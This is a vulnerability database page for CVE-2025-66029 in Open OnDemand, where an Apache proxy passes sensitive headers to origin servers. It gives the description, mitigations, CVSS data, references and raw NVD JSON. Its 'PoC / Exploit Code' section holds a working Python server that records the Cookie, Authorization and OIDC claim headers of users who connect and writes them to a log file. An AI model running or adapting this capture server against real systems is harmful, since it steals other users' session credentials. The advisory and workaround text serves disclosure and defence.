CVE-2025-66029

Description

Open OnDemand provides remote web access to supercomputers. In versions 4.0.8 and prior, the Apache proxy allows sensitive headers to be passed to origin servers. This means malicious users can create an origin server on a compute node that record these headers when unsuspecting users connect to it. Maintainers anticipate a patch in a 4.1 release. Workarounds exist for 4.0.x versions. Using `custom_location_directives` in `ood_portal.yml` in version 4.0.x (not available for versions below 4.0) centers can unset and or edit these headers. Note that `OIDCPassClaimsAs both` is the default and centers can set `OIDCPassClaimsAs ` to `none` or `environment` to stop passing these headers to the client. Centers that have an OIDC provider with the `OIDCPassClaimsAs` with `none` or `environment` settings can adjust the settings using guidance provided in GHSA-2cwp-8g29-9q32 to unset the mod_auth_openidc_session cookies.

CVSS Details

CVSS Score

7.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:osc:open_ondemand:*:*:*:*:*:*:*:* - VULNERABLE

Open OnDemand <= 4.0.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-66029 PoC - Malicious Origin Server Header Capture
import http.server
import socketserver
import json
from datetime import datetime

class HeaderCaptureHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # Log all incoming headers (including sensitive ones)
        log_entry = {
            'timestamp': datetime.now().isoformat(),
            'client_ip': self.client_address[0],
            'headers': dict(self.headers),
            'path': self.path
        }
        
        # Capture sensitive headers
        sensitive_headers = [
            'Cookie',
            'Authorization',
            'X-OIDC-Claims',
            'X-Auth-Token',
            'OIDC_CLAIM_*'
        ]
        
        captured = []
        for header_name, header_value in self.headers.items():
            for sensitive in sensitive_headers:
                if sensitive.lower() in header_name.lower():
                    captured.append(f"{header_name}: {header_value}")
        
        if captured:
            print(f"[ALERT] Sensitive headers captured: {captured}")
            with open('captured_headers.log', 'a') as f:
                f.write(json.dumps(log_entry) + '\n')
        
        # Send response
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b'<html><body>OK</body></html>')
    
    def log_message(self, format, *args):
        # Suppress default logging
        pass

PORT = 8080
with socketserver.TCPServer(('', PORT), HeaderCaptureHandler) as httpd:
    print(f"Listening on port {PORT} for header capture...")
    httpd.serve_forever()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66029
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66029
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66029/
[4] VulDB https://vuldb.com/cve/CVE-2025-66029
[5] https://github.com/OSC/ondemand/security/advisories/GHSA-2cwp-8g29-9q32

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66029", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:16:04.407", "lastModified": "2026-02-18T19:42:12.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open OnDemand provides remote web access to supercomputers. In versions 4.0.8 and prior, the Apache proxy allows sensitive headers to be passed to origin servers. This means malicious users can create an origin server on a compute node that record these headers when unsuspecting users connect to it. Maintainers anticipate a patch in a 4.1 release. Workarounds exist for 4.0.x versions. Using `custom_location_directives` in `ood_portal.yml` in version 4.0.x (not available for versions below 4.0) centers can unset and or edit these headers. Note that `OIDCPassClaimsAs both` is the default and centers can set `OIDCPassClaimsAs ` to `none` or `environment` to stop passing these headers to the client. Centers that have an OIDC provider with the `OIDCPassClaimsAs` with `none` or `environment` settings can adjust the settings using guidance provided in GHSA-2cwp-8g29-9q32 to unset the mod_auth_openidc_session cookies."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}, {"lang": "en", "value": "CWE-523"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osc:open_ondemand:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.0.8", "matchCriteriaId": "B7F9CAB4-0D34-49C3-9693-F0B8C160D63A"}]}]}], "references": [{"url": "https://github.com/OSC/ondemand/security/advisories/GHSA-2cwp-8g29-9q32", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}